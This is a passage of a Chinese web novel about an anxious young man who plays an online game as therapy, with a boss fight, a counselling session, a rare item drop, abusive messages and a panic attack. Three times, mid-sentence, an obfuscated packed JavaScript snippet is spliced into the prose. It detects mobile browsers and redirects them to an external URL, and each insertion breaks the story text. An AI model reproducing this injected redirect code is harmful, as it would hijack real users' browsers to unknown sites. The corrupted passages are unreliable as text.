兮以城空正在帮大家补状态,林朔野在同时和说着进去蚌壳后的机制,没注意到宴云川的动作。等副本正式开始,打没两分钟,他纳闷着挪椅子碰了碰宴云川问:“哥,你的输出怎么掉了这么多?” 宴云川“嗯”了一声:“我换了特技。” “换特技?换哪个了?” “生命链接。” 林朔野没关队伍麦,“生命链接”四个字如同圣光均匀照耀在每一位队友身上,扰乱队心。 场上几个技能纷纷丢空。 生命链接是一个“恩爱狗专用技能”。技如其名,使用者与一名队友建立链接,把所有原本应该作用于队友的伤害转移到自身。 简称:我替你去死。 单身真自由啊:“生命链接?我没听错吧?” 清絮:“云老板,你看上队伍里的谁了?” 两个T都在吃瓜,蚌母仇恨跟瓜田的猹似的到处乱窜。林朔野把键盘敲得噼啪响,喊道:“喂喂!各位别光顾着吃瓜啊!蚌母要放涟漪束缚了,记得交解控!”嘴上说着不要吃瓜,他扭头就问,“哥,看上谁了?” “看上你了。” 队伍响起千只蚂蚁乱爬的“咦惹”。 ** 时和本在钻研蚌母攻略,听见尹川几声“哥”,他错愕了一下,恍然道:“原来是兄弟。” 作为独生子,时和没体会过兄友弟恭的日子。以前他还羡慕过别人家里有哥哥弟弟,现在代入了一下川云,心里连连庆幸妈妈只生了自己。如果家里多一个话痨尹川,那太可怕了。 话痨尹川还在追问川云是要链谁。时和听着高频词“生命链接”便去搜了一下。看了眼技能描述,觉得在蚌母这里用不上,又兴味索然退了出来。 蚌母的血条还剩18%。 马上要进入下一个机制了。时和关了视频,连做八个深呼吸,把手放到键盘上准备。答应着不紧张,可面色却严肃跟要上刀山下火海似的。 10%了。 只见屏幕突然被海浪浇灌。蚌母水蓝色头发疯魔搬散开,搅得海面出现一个巨型漩涡。突然,漩涡中央升出两根触手,勾住自己和川云,随着蚌母一块遁入海底。 海浪褪去,蚌母放下狠话:“珍珠需要鲜血滋养,明珠需要傲骨雕琢!这最美的容颜与最强的魂魄,便是尔等狂妄的祭品!” 原来蚌母喜欢漂亮的…… 得知BOSS跟自己有相同爱好,时和不合时宜地生出“海内存知己”的惊喜。然惊喜还没上涌,潮水先至。蚌壳内,游鱼听从蚌母号令,纷纷向时和和川云发起攻击。 蚌壳东南角出现一个坐标点。 川云:“到这里召唤箜篌。” 时和:好。 箜篌召唤出来,变成人物两倍大,嗡地砸在一块珊瑚石之上。川云击退一波游鱼,趁着BOSS念台词的时间走过来,与他并肩而坐。两人的手一左一右搭着箜篌,隔着琴弦对视。 下一波游鱼到来之时,屏幕弹出琴谱。 川云:“从Y开始。” 川云:“3——2——1——” 这个节奏时和在心里已经默念了很多遍。“按”字刚说出口,两边音符同步按下。箜篌发出铿锵有力的一声响。二十八个音符,两分半钟。川云从头到尾没改过速度。 时和从一开始的冷汗涔涔、心里同步读秒,到后面全神贯注,由川云全权主导。 ** 蚌壳里的画面海面上的队友无法同步。 林朔野闲下来,就凑上宴云川旁边观战。本想进行队内实况转播,刚张嘴,被宴云川一个摇头退了回去。他用手在嘴巴上拉了个拉链。 宴云川:“最后一个。” 3——2——1 只听箜篌琴音激荡,仿佛无数利剑沿着蚌壳内壁剜过。蚌母发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546513|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖锐的惨叫,蚌壳里的珊瑚和游鱼不受控制地朝她撞去,融入她身体之中,成为增强法力的养料。 蚌壳开启,两人被浪潮冲出蚌壳外。 就在蚌母绝地反击释放珍珠泪袭击两人之时,一道红色光线绕过己见手腕,将其拉向宴云川。红线将两人紧紧缠绕,在己见周身化出淡淡微光。 林朔野的拉链憋不住崩开了:“靠靠靠靠靠!哥!原来你换生命链接是为了链己见?你俩趁我不在就暗渡陈仓声东击西偷天换日!你俩什么时候好上的!怎么不通知我呢!算我一个啊!” 虽然知道林朔野的“好上”是单纯交朋友的意思,但宴云川还是被他最后一句“算我一个”嚷得头痛欲裂。 珍珠泪的技能释放有二十秒动画。海面上等待的人听见林朔野这番虎狼之词,彻底坐不住了,叽叽喳喳追问起来。 单身真自由啊:“川儿,你说啥玩意?” 清絮:“谁跟谁好上了?云老板和己见?” 兮以城空:“川儿,你也要加入?” 路人:“直播吗?” 说话间,蚌壳冲出海面悬于半空,“咳咳”两下将壳内两人吐出。两人身上的“生命链接”还未散去,落在海滩时,就见两具被红线缠绕至重叠的身影,以及宴云川仅剩四分之一的血条。 林朔野兴奋得像个猴子。 宴云川推开旁边嗡嗡作响的林朔野,解释道:“首刷蚌母不是有个‘珍珠泪下满血存活’的成就么,顺便做了。” ** 系统频道连跳两个提醒: 系统:恭喜玩家己见达成副本成就【泪海无伤】,获得双人动作奖励【携邀·共赏琴音】。 系统:恭喜玩家己见达成社交成就【共此生·情深不渝】,获得专属称号【相依】及配饰奖励【同心链】。 系统频道队内可见,队伍麦炸开了锅。 单身真自由啊依旧是看热闹只想搞事第一人:“川云官人,奴家也想要同心链链,也想要共赏琴琴,也想要蚌母泪下泪海无伤。” 从单身开始,一个两个有组织有纪律地接上队形。尹见笑得锤桌,跟着大部队嘤嘤嘤了一句,就听见吃痛的“哎哟”一声,杂糅在一句“泪海无伤没有,找揍管够”中。 刷屏大部队终结于兮以城空。 人和人就怕对比。作为队内幽篁,又是一个刚玩不到四个月的“新人”,兮以城空回想自己首刷战战兢兢还被当时队友嫌弃的模样,嗷嗷开嗓:“我当初还是萌新的时候怎么没遇到云老板这样的好人啊啊!限时成就还会返场!这个成就错过首刷就再也拿不到了!比限时成就还要珍贵啊啊啊啊啊!” 队伍麦如同菜市场,可时和好像聋了。 “生命链接”这个技能本就是开服情人节上的,定位属于情侣趣味技能。既然是情侣专用,为了甜蜜,技能维持时间保准管够。不光技能时间长,作为被同心链缠绕的两人,他们的视角也很特殊。 像舍友看的某种小电影一样特殊。 幻世录的建模惯以精细闻名,人物建模更是写实。譬如呼吸的起伏,眼珠的闪躲还有鼻尖的触碰都栩栩如生,仿佛拥有自己的生命。 时和张着嘴巴看向屏幕里放大的两张脸。川云每一次呼吸都会在自己的角色脸上形成一层雾,自己的角色则满眼爱慕。镜头还会放慢动作,从两人缠绕的腰间到脚踝,细节无一不落。 这个技能怎么、怎么、怎么这么奇怪! 看着看着,时和锁骨散去的红晕以摧枯拉朽之势爬满全身,明明没犯病,他却感到呼吸急促。突然,书房门扭旋转。只听噌一下,键盘连同鼠标一齐摔落,椅子从桌前滑到了墙边。 8. Chapter·医生 时和受惊吓地站了起来。只见门被一道黑色身影大力推开,门风掀动角落绿箩的翠叶。身影以两下高跟鞋的速度冲到他面前。 看清来人,他惊喜道:“妈!您怎么回来了!” 话落,喇叭里响起单身和清絮的玩笑声。 两人在讨论生命链接视角到底是什么光景。时和听觉话题不对,用余光瞥了眼屏幕,血液凝固——单身真带领大部队正在围观海滩边的两具“尸体”,三百六十度环绕。 时和有点崩溃。 怎么技能还没解除! 他想到高中有一次查学习资料,自己不小心点到了广告网站。那会儿页游盛行,又喜欢用一些露骨且不正经的宣传图。濯清看见,拉着他进房间苦口婆心教育了半个钟头。 后来,家里电脑就请了人全面“净网”。 一想当时濯清的表情,时和脸上的惊喜变成惶恐,急忙侧身挡了挡屏幕,手指蜷缩在衣摆旁边,满眼透着慌乱。明明只是一个游戏技能,一遮一挡,倒变得奇怪起来。 好在濯清注意力不在屏幕上。 桌面地上满是狼藉,但濯清仿佛看不见一般,满心满眼都是时和。她眉头紧锁地拉着时和左转右转,捏了捏胳膊,又探上额头测试温度。见时和半个人红得异常,立马从口袋里掏出手机就打电话:“小莉,预约陈医生的号。马上出发,对,如果约不上陈医生就约芳主任。” “妈?” 为什么又要去看医生? 时和身上红晕冷却,只留下满脸抗拒和不解。 他不喜欢看医生,不喜欢被心理医生套话的感觉,也觉得心理医生根本不能跟他感同身受。所谓心理医生,只是花钱陪聊,按照套路模板问问题,做做样子而已。 时和刚要开口,濯清兀地抱过他肩膀,一下又一下拍着,语气愧疚:“宝贝对不起,是妈妈不好。妈妈这周太忙了,没有及时发现你的身体状况,让你一个人呆在家里这么久……”濯清身上还穿着开会专属的西装款式,平日里梳得一丝不苟的头发也有几缕从耳畔溜了出来,落在后背的手抖得跟语气一样厉害。 三言两语,时和拼凑出原由。想来是自己吃了阻滞剂又嗜睡,醒来还捏了气泡膜,这一系列行为让濯清担心了…… “妈,我已经没事了。”他抬手回抱上濯清,接过这个迟到一周的关心,又有样学样的拍着濯清的背,亲昵地把头搁在濯清肩膀上。 濯清摇摇头。 喇叭里传来新一轮的技能轰炸声,斑斓的特效倒映在书柜玻璃上。尹川指挥空档话题一转,突然转到刚才的蚌母身上,连连夸着时和天赋型玩家,居然第一次就能零失误通过。 川云“嗯”了一声。 单身和兮以城空又开始揶揄地“哟”起来。 按照以往,濯清肯定会问:“他们是谁?是你的新朋友吗?都是哪儿的?怎么认识的?靠谱吗?现在网上骗子很多,交朋友要考察,要慎之又慎。” 可今日濯清只是安静地抱着时和。 时和有一瞬的错觉,觉得家里生病的好像不是自己,是濯清。这份奇怪的念头刚发了个尖儿,就被剧烈的铃声踩进泥里。 濯清接起电话:“预约好了是吗?好,不用,我自己开车去。跟泽宸说一声,我下周回去……提醒他们民宿酒窖那堵承重墙去年就被托斯卡纳文物局标了黄签,紧咬这点,换他们让出全年经营权。” 她边说话边拉着时和往门外走,不顾时和抗拒,走到房间拿了件外套披在时和身上,又觉得不满意,像摆弄人偶一样摆弄着时和的手。 穿好衣服,拉上拉链,转身下楼,好像拖了个人形行李箱一样风风火火。 电话直到开门才挂断。 时和拉着濯清胳膊喊了声:“妈!” “怎么啦宝贝?”濯清温柔地看着他。 “我……” “我可以不去医院吗……” 濯清依旧温柔地看着他,那表情仿佛在看一个闹脾气的孩子,大人不能随便计较。她揉着时和头发说道:“不去医院妈妈会很担心。” “可是——” “宝贝,医生已经约好了。” 时和那句“可是我不喜欢医院的味道”像无数句没说出口的话一样,被存放在了垃圾桶里。 ** 时隔一周再次来医院,只是换了个医生。 “你刚才提到‘他们都在笑,不喜欢’,现在闭上眼睛,回想一下当时的场景,能描述出那种笑容吗?”心理咨询室,廖佳芳慢慢地引导时和,指尖落在笔记本上随时记录。 时和按要求做。 眼睛刚闭上十秒,他的手就攥了起来,睁眼说道:“就像趴在窗户上的小丑面具。” 廖佳芳记下关键词,又问:“只看见了一次小丑面具,后来是怎么消失了?” 时和想了想。 不是消失了,是被礼物压制了。 廖佳芳读出他一秒的表情变化,趁热换话题问:“幻世录在你心里是一个怎么样的游戏?” “很漂亮。” “说来很巧,我其实也玩过这款漂亮的游戏。” 廖佳芳一直在观察着时和的表情,看见他抬头望向自己,这才继续:“那是一年前,我有段时间心情很压抑,就尝试用游戏放松。这款游戏玩法还挺多的,茶馆听八卦、休闲玩法、PK竞技、副本……” 说到副本,时和眼睫颤了一下。 ** 咨询总共用了一个小时。濯清守在门口,恨不得隔一分钟看一次表,直到门被打开。 时和戴着口罩走出来。 濯清手落在他肩膀上问:“宝贝,头晕不晕?” 时和摇头。 “胸口闷不闷?” 时和又摇头? “还有哪不舒服吗?” “妈,我很好。” 时和不会骗濯清。 可濯清似乎不信,拉着时和就想再给他来个全身“扫描”。刚抬起胳膊,廖佳芳起身走到门口端着微笑说:“濯女士,关于时和这次的咨询结果需要跟您沟通一下。” 濯清看了眼廖佳芳,又看了眼时和,秉持不能耽误医生时间的原则,这才放弃“扫描”,跟着廖佳芳走进去。关门前,她交代着:“宝贝,在活动室等妈妈。” “好。”时和应下。 咨询室的门被关上,濯清开门见山说出自己的想法:“芳主任,您看游戏社交这个方案能不能修改一下,换一个更缓和的方式。我对治疗时间其实没有要求,一年,两年,或者十年都可以,只是希望换一个我儿子更能接受的治疗方案。” 等濯清说完话,廖佳芳才开口:“濯女士,我理解您作为母亲担心儿子的心情。但是我在跟时和聊天的过程中发现他对游戏本身排斥度并不高。相反,游戏里的部分玩法能增强他的自我效能感,在这样的玩法下,他产生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546514|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情绪是积极愉悦的。” “自我效能感?” “对,是自身受到认可而产生的自信能力。” “我的儿子怎么会自卑。”濯清笑了笑。 廖佳芳嘴角微弯,又解释道:“您误会了,这里的‘自信’不是自卑的对立关系,是一种相信‘这件事我可以’,并且为之反馈正向情绪的能力。” 濯清眉头紧锁:“既然玩游戏带给他的是正向反馈,为什么他玩游戏第一天就犯病吃药?” “任何治疗方案都有一个适应的过程。濯女士,您不妨回去问问时和的意见,如果时和明确无法适应这套方案,那时再更换也不迟。” ** 从咨询室出来,濯清想的都是廖佳芳那句“时和不是没有社交能力,是他不想。因为不想,所以产生了障碍,作为一种社交退缩的保护机制”。 时和怎么会主动产生社交退缩,他最爱交朋友了。 濯清蹙着眉,头一次对心理医生产生了怀疑。等她在活动治疗室走廊看见时和,眉头瞬间松开,如沐春风走上去:“宝贝,怎么不进去等妈妈?” 时和转过身,迎上前。 “治疗室来了几个新面孔。”他乖乖回答。 濯清往治疗室里面看,果然在角落看见几个陌生面孔。其中一个扎着双马尾穿初中校服的女生拉着角落里一个小男生喋喋不休,讨论自己天马行空的梦。男生快把自己嵌进墙里了。 明白了儿子为什么不想进去,濯清忍俊不禁。 “怎么,我们小和还怕女生找你聊天?” “男生也不要。”时和正经说。 濯清笑得更厉害了。 笑着笑着,她又想到廖佳芳那番话,还有关于游戏治疗方案的建议,于是收起笑容,带着时和往电梯走,边走边试探:“宝贝,玩游戏如果不开心,我们就卸载不玩了好不好?” 濯清自认为了解儿子,认为会得到肯定答复。 电梯从三楼上来,往里走出五个人。濯清和时和走进去,站在最后。等电梯下到底,电梯里的人都走了出去,时和才垂眸说:“妈,我想再试试。” 濯清有些意外:“宝贝喜欢玩吗?” 时和被濯清的问题问懵了。 幻世录他才玩一周,而且并没有认真玩,只是挑挑拣拣,选了一些不用社交也能玩的东西。但他今天打本才发现,真正的幻世录不是那样的。真正的幻世录更漂亮更有趣。 可他谈不上喜欢,却又说不出不喜欢。 时和一路思考那是一种怎样的心情,直到出了医院,走过回廊,阳光透过榕树枝条打在他脸上,他好像被打醒一般说道:“我想快点好起来。” 没错,肯定是这样。 他只是想快点好起来,减轻妈妈负担。 濯清被时和一句话说得心软,转身就在时和额头上亲了一下。周围三两散步的人眼神打量,时和耳垂又泛起红。濯清有意逗他,又亲了一下。 时和无奈停下。 “妈……” 濯清笑着摆手:“好了好了,不逗你了。” 周围人的眼神更热烈了些,似乎在猜测两人关系。时和把帽檐往下拉,只留自己脚下一片清明,踩着树影快步往停车场走。 走到半路,听见两个男生在讨论幻世录新出的副本难度太大。他猛地抬头,想到一个非常严肃的问题:糟了!副本还没打完! ** 9. Chapter·乌龙 心里惦记着事,路程就变得煎熬。 哪怕濯清说“今天运气真不错,一路过来只碰上两个红灯”,时和也感受不到这份好运,只觉得医院距离小区隔着楚河汉界的距离,甚至内心碎碎念起市政规划,为什么要把心理医院放在郊区。 带着这份碎碎念到了家,他换鞋就想上楼。 濯清叫住他:“先吃饭,吃饱饭再玩。” “妈,时间还早。”时和抬手看了看手表,才11点,又想往上楼,“我早上出门忘记退游戏了,得去看一眼,看完就下来。” 刚抬脚,濯清说:“宝贝,不能沉迷游戏。” 一顶“沉迷游戏”的帽子直愣愣扣下来,时和心里咯噔一下,好似被帽子压走了所有空气。 他想解释,可濯清拉着他直直往餐桌走,边走边说:“我这两天就吃了一顿飞机餐,头晕得很,专门让张阿姨过来炖了个鸽子汤。” 厨房的蒸锅冒着热气。张采纹从厨房悄无声息走出来,手里端着四菜一汤,一一摆放好,又给濯清和时和盛了两碗饭,时和的那碗是平日的两倍。 知道是濯清授意,时和没说什么。 接着,就看见濯清开了个手机计时往桌上一放:“你吃饭经常急性子,今天咱两做个约定,吃饭吃够半小时才能离开。” “妈!” 时和猛抬头,满眼不可思议地看着濯清,又望向张采纹。见张采纹低头躲开了自己的目光,时和明白了,油然生出被出卖的愤怒。 张采纹为什么要告状?又为什么说经常? 明明只有四次! 眼看张采纹头越来越低,濯清解围说:“看张阿姨做什么,阿姨是你长辈,不能用这样的眼神看着长辈知道吗?再说了,你吃饭这事不是张阿姨说的,是妈妈在监控看到的。” 骗人。 时和急红了眼眶。 “我没有经常!” 濯清见状立马哄着:“好好好,妈妈说错话了,不是经常。”可大人的认错话不达心,很快跟着但是,“但是吃饭太快对身体不好,一次也不行。我们得养成习惯,每顿饭吃半小时,细嚼慢咽,好吗?” 时和不说话。 濯清又说:“听话。” 见时和还是不说话,她嘴角抿下来,直勾勾盯着时和。直到他说出那句:“我知道了,妈。” “乖。” 濯清笑着盛了碗鸽子汤递过去。 ** 半小时在副本里很快,读书听歌也很快,哪怕散步都很快,只有在餐桌上,度秒如年。 饭桌上,濯清终于想起来自己忘记介绍顾泽宸侄子的名字,拍着额角说:“瞧我这记性,他姓沈,单名一个停。” “庭院的庭吗?” “不是,是停车的停。” 听见冒失鬼的“停”是“停车”的“停”,时和奇怪地想:起这个名字的人一定很希望他能停一停。这么想着,他倒觉得“沈停”是个很有趣的名字。 濯清又说:“等会儿你们可以加好友一起玩。” 有趣的想法戛然而止。 “妈,加好友需要ID。” “ID?” “就是游戏里的名字。” “诶呀……这我得问问。” 没有ID,时和松了口气,默默扒饭。 这顿饭结束在闹钟响起之时。时和好似初中数着铃声去网吧的同学,抬脚就冲向厨房,洗好自己的碗留下一句“我吃饱了”又要往书房冲。 濯清说:“吃饱饭要慢慢走。” 他脚步卡在两节台阶上,速度放慢下来。 进了书房,时和三下两下捡起鼠标键盘,凳子还没坐下就敲开屏幕。副本果然结束了。 消息列表闪着红色未读提醒。时和想着是尹川他们,便点进去。结果刚进列表,砰砰砰,跳出上百来个不同的头像框,吓得他差点从椅子边缘掉下去。 什么情况?难道后面副本灭队了?可是队里不是十二个人吗,怎么来了这么多人…… 难道都是来骂自己的? 时和越想越慌乱,越慌乱鼠标越不受控制。 突然,一个红色杀马特头像坐着电梯一跃而上,蹦到了列表第一个。看见头像,时和认出是尹川,连连呼吸好几遍,这才眯了半只眼睛点进去。 如果灭队得道歉。 他这么想着,点开信息却愣了一下。 尹川:宝贝儿宝贝儿宝贝儿回来了吗? 再往上一条是十点发的:宝贝儿,蛟龙鳞片如果出的话可以优先出给我吗?双倍价格收!走平台手续费我出!包诚意的! 什么鳞片? 这又是什么情况…… 时和看见队伍频道也有未读,于是点进去。最底下是川云的信息:也许有急事出门了。 又被猜中了。 两次被“读心”的感觉很奇妙。时和鼠标在这句话上停顿了一下才往上翻。翻了两下,先是大家问他在不在,又是一堆的“我去”、“卧槽”、“666”、“欧皇”刷屏。直拉到顶,才看见一条有用的信息。 尹川:宝贝儿你这是什么欧皇运气!这玩意一个月就掉一片!我打这么久还是第一次在副本里看见掉落!也是让我开眼来了! 副本掉落,装备吗? 时和点开背包,果然在背包末尾看见多出来的一个金色格子,格子里装着一片蓝金龙鳞。 他点开装备说明从头看到尾,终于明白了。 原来这个龙鳞是做版本顶级圣兵的材料之一。顶级圣兵需要三十个鲛人泪和一片龙鳞合成,有了龙鳞等同于圣兵进度完成50%。 看来那百来个人也是冲着龙鳞来的…… 时和点进其中一个,下一秒猛地丢了鼠标: 西瓜凉了夏:你游妈死了!一个服务器就一片还安排狗托!不想给玩家想抬高物价你就直说!不用安排这一出恶心人! ** 濯清听见楼上动静,放下电脑跑上楼。 开了门,就见时和站在屏幕前,椅子已经滑到了墙边。时和整个人抖得厉害,呼吸宛若溺水,白T后背冷汗一片。 “宝贝!” 濯清从抽屉里拿出备用药,倒下两片,拿过桌面水杯想喂进去,发现水杯里已经没了水。她当机立断,直接把药片塞进时和嘴里。 没有水,药片的苦涩感在嘴里化开,活像生吞黄连。时和混沌的意识在苦涩中逐渐恢复冷静,看见濯清再次端水进来,他主动接过,冲了下去。 “妈……” 时和想到那句“妈死了”,睫毛颤动着。 濯清抱紧时和:“妈妈在。” 等到时和后背不再僵硬,身上异常的热度褪去,她没问“怎么了”,而是直接点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546515|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮屏幕。屏幕亮起,就看到那条骂人的信息。 濯清往衣兜掏,发现没带手机,便拿了时和手机拍了张照。接着关掉对话框说:“今天不玩了。” 时和点头。 ** 榕城理工大学图书馆楼下草坪,一个人蹲在地上,面前摆着本概率论和小抄纸。他右手转笔左手翻页,嘴里说话不带喘:“爸,我也想带濯阿姨儿子玩啊,可最近要准备结课考忙着呢,哪有时间玩游戏,我号都给代练了……不贵!真是给你抠搜的……我不是一直很爱学习吗……结课考当然重要啊!赢则暑假快乐,输则补考八百,你选一个吧。” “八百!”耳机传来震耳欲聋,“沈停啊,爸爸想了想,还是学习更重要。可你濯阿姨那……反正爸爸可是答应你妈了,你妈答应你舅了。” 看来还是报少了,八百都没吓退。 沈停不耐烦“啧”了下,对于大人把自己当成巩固关系平步职场的道具非常反感。濯阿姨那个儿子他是有印象的,妥妥妈宝男,带着也麻烦。 想了想,沈停灵光一闪,坏笑道:“你让他加尹川吧,嗯,京兆府尹的尹,川流不息的川。对,保证带他玩。” ** “尹川?” 时和一觉醒来,就听见濯清报的ID。 没想到尹川就是沈停,难怪话唠不休…… 他想起自己曾经听过的一个言论:尽管世界上有数十亿人,但任何两个人之间,往往只需要通过少数几个中间人就能建立起联系。 看来是真的。 鬼使神差,时和问了句:“沈停有哥哥吗?” “没有,他妈妈就他一个儿子。” “这样。” 原来不是亲兄弟。 濯清还在说着沈停最近在准备结课考的事。在时和思想跟着兄弟和缘分飘远之际,又听见濯清说:“不过现在也用不着麻烦沈停带你玩了。” 时和疑惑地“嗯”了一声。 濯清递了杯水给时和,接着说:“上午那个骂人的ID妈妈已经打官方电话投诉了。妈妈思考了一中午,游戏辅助治疗的方案还是不太合适,已经跟陈医生和芳主任沟通更换新的方案。嗯……我问了一下陈医生能不能带你去出差,他说得过两天再去医院做一次新的咨询看看你的排斥度。” 听到又要去医院,还要去异国他乡,时和水杯没拿稳溅出几滴水。都不用咨询,脸上就排满了大写加粗的排斥。 “妈,不用换方案的!”时和急急说道。 “不行,你这才多久就犯两次病!” “我……” “我已经在慢慢适应了,真的!” 比起出国未知的冒险,他宁愿面对游戏已知的恐惧。只是被骂而已,自己不看就好了。 不看,不点进去,或者不接受陌生人信息,这都可以解决。可是出国不行!谁能保证在国外遇上的事不会比游戏更复杂更麻烦更不可控? 想到国外陌生的人和陌生的语言,时和脸色煞白,眼里蒸出一层水汽,轻轻晃着濯清胳膊,柔声喊到:“妈……” 这声“妈”到底是让濯清心软了。 濯清叹了叹气,纵容着说:“最后一次机会,如果下次还因为游戏犯病就必须换方案,可以吗?” “谢谢妈妈!” 时和笑了起来,主动在濯清脸颊上亲了一下。 10. Chapter·交易 “显卡插槽得换了。我定了一款新的试试效果,下周会有人送过来,如果我不在你签了放柜子。”网吧前台,宴云川放下起子,拿起手机对俞秋交代。 “又换呐!” “老板,这两个月都换了三次了!” 俞秋抓着块抹布在一亩三分地来回擦着。桌上摆着一台拆开的主机,里边卡槽已经变形。她愤懑把桌布一拍:“都怪我昨晚打盹儿!一个没留神,让那两个主播有了可乘之机!” 宴云川放下手机抬头笑了笑:“饿了要吃饭困了要睡觉,打盹儿是正常生理反应。秋儿,做错事的是那两个乱换显卡的主播,法治社会冤有头债有主,怎么还怪自己身上了?” “我哥说的对!” 不远处,林朔野的声音先人而至。只见他拿着两个易拉罐站在两步外对着垃圾桶来了个“三分投”,哐当一声,人声继续,“秋儿,你怎么被人拆了家还带道歉的啊!你这幸亏是遇见我哥了,要是换个老板还不得把你裤衩骗没——” 俞秋从小被母亲灌输“女孩要斯文”。虽说她在长大的路上离“斯文”这两个字有点儿渐行渐远,但某些词语依旧是刻在骨子里的禁忌。 比如“裤衩”。 “林朔野!” 俞秋红着脸,恶狠狠瞪了林朔野一眼,对“裤衩”话题发表最终结论:“你个变态!你才穿裤衩!你才把裤衩骗没!” 她把抹布一放:“我下班了!剩下的你擦!” 看着俞秋边擦手边往休息室走,林朔野茫然挠头:“我哪儿变态了?裤衩哪儿说错了吗?难道不是这么叫?裤衩裤衩,不都这么叫嘛?” 宴云川正忙着跟供货商敲定型号和价格,听见林朔野碎碎念分了个眼神,就见上一秒还在茫然的人下一秒拿着抹布在收银台扭成了蛆。 此人擦桌子非常有个性。 收银台总共三米长,他手上的桌布却跟有洁癖似的完美避开所有脏污之地,所到之处皆是俞秋擦干净的圣土。桌上的灰尘全被他用衣服抹了个锃亮,仿佛他才是那块抹布。 这块人形抹布还自带音乐,只是音乐播放器年久失修,不免辣人耳朵。 听了两段,宴云川没听出他在哼什么。最后实在听不下去,起身抽过抹布开始赶人。 在林朔野说出“抢活儿”台词前,宴云川指着旁边拆开的主机提前说:“去把主机装了。” 不出意外,上一秒还带着控诉的人下一秒就摇起了尾巴,汪汪一声:“得令!” 终于消停了。 刚松眉,魔音再次穿耳,这次更过分,还飙起了戏腔,又或者高音。宴云川的太阳穴本就因为没睡好而发疼,这会加上声波攻击更是一胀一胀地跳,好像两股不同的力量在脑海里翻天覆地打架。 魔音有愈演愈烈的趋势,宴云川张张嘴。 这人今天怎么这么富有激情? 因为爆了鳞片? 忍了半晌,他问道:“他把鳞片卖你了?” “他?谁?” 林朔野愣了一下,反应过来:“哦!己见啊!” 提到鳞片,林朔野话匣子打开,放下起子一顿输出:“我中午刚发消息给他就下线了,现在还没联系上呢!这都蹲了两小时了也没见上……也不知道他看见我消息没有。” 见聊天方案有效,宴云川顺势继续。 “说不定人还没回,掉线了。” 刚说完,林朔野头摇得跟飞轮旋转似的:“怎么可能!人肯定回来了!我小号亲眼看他动了的!三步呢!哎呀,其实卖不卖我都可以,我就想听一句准话,拒绝也行!省的我一直惦记……” 说着说着,林朔野发现宴云川擦桌子的动作停了下来,正倚在桌边眼睛不眨地盯着自己,表情一言难尽。他双手抱胸:“哥,你看我干嘛?” 宴云川叹气。 “我发现秋儿的评价很客观。” “欸?” “阿朔,你知道你这行为像什么吗?” “像什么?” “像个求爱不得尾随别人的变态。” “哦~” 宴云川有预感此人说不出什么好话。 果不其然。 被两次评价变态,林朔野认真反思,最后异常得意且不要脸地拍胸脯大声嚷嚷:“为了鳞片!变态舍我其谁!我——”下一秒,抹布啪一下砸到了他左手边,打断了后面的骚话。 宴云川揉着眉心,走过去抱起主机塞到林朔野怀里,又指向包厢,说道:“林朔野同学,如果不想明天在榕城日报看见''星络老板猝死店中,享年二十四‘的社会新闻,就劳驾您抱着主机滚回包厢慢慢装。还有,麻烦以后出门千万别说我是你哥,我要脸。” “我!不!” 林朔野托着主机吃力地做了个鬼脸边退边走,走一路嚎一路,走到包厢,前台还能听见“我就叫我就叫,哥哥哥哥哥哥哥”的回响。 几个追剧的人放下喇叭往声源望,看见背影,又见怪不怪地把耳机戴了回去。 网吧养猴也不是一天两天了。 谁知耳机刚带上,一声震天分贝从包厢直接冲到前台:“哥哥哥哥哥哥!他加我好友了!” ** 【尹川已经通过您的好友申请】 尹川:宝贝儿,在? 从爆了鳞片到现在,时和列表的消息就没停过,他心里默念了上百遍“不看、不听、不在乎”,这才敢登陆游戏,成功设置不接受陌生人消息。 消息列表好不容易清净一阵,冷不丁弹出未读提醒,险些给他吓出PTSD。他小心翼翼点开列表,看见熟悉的红色头像稍稍松气,回了个“在”。 尹川秒回:鳞片出吗。 列表是濯清帮忙清的,清的时候发现也有不少询问鳞片买不买的玩家,那些信息连发几条便没了下文。时和没想到“沈停”会等自己一中午,顿时生出浓烈的愧疚感,惯性地敲出:对不起。 尹川:没事没事,有结果我就满足了![大佬] 时和读着上下文,这才发现自己话里的歧义。 他急忙敲字:我出鳞片。 虽说鳞片很珍贵,可自己玩不久,也没玩懂,放在这里也是浪费,不如给“沈停”。 消息刚发出去,屏幕瞬间爆满感叹号。 尹川:是可以出给我吗!!! 尹川:我的圣兵终于可以升级开光了吗!!! 尹川:宝贝儿!我爱死你了!!! 时和还没适应沈停一口“宝贝儿”一口“爱”的交流方式,耳垂又红了起来。他心想第一次见面那会这人好像还没有这两个口头禅。 正想着,身后冷不丁来了句一样的“宝贝”。 “宝贝,怎么了?” 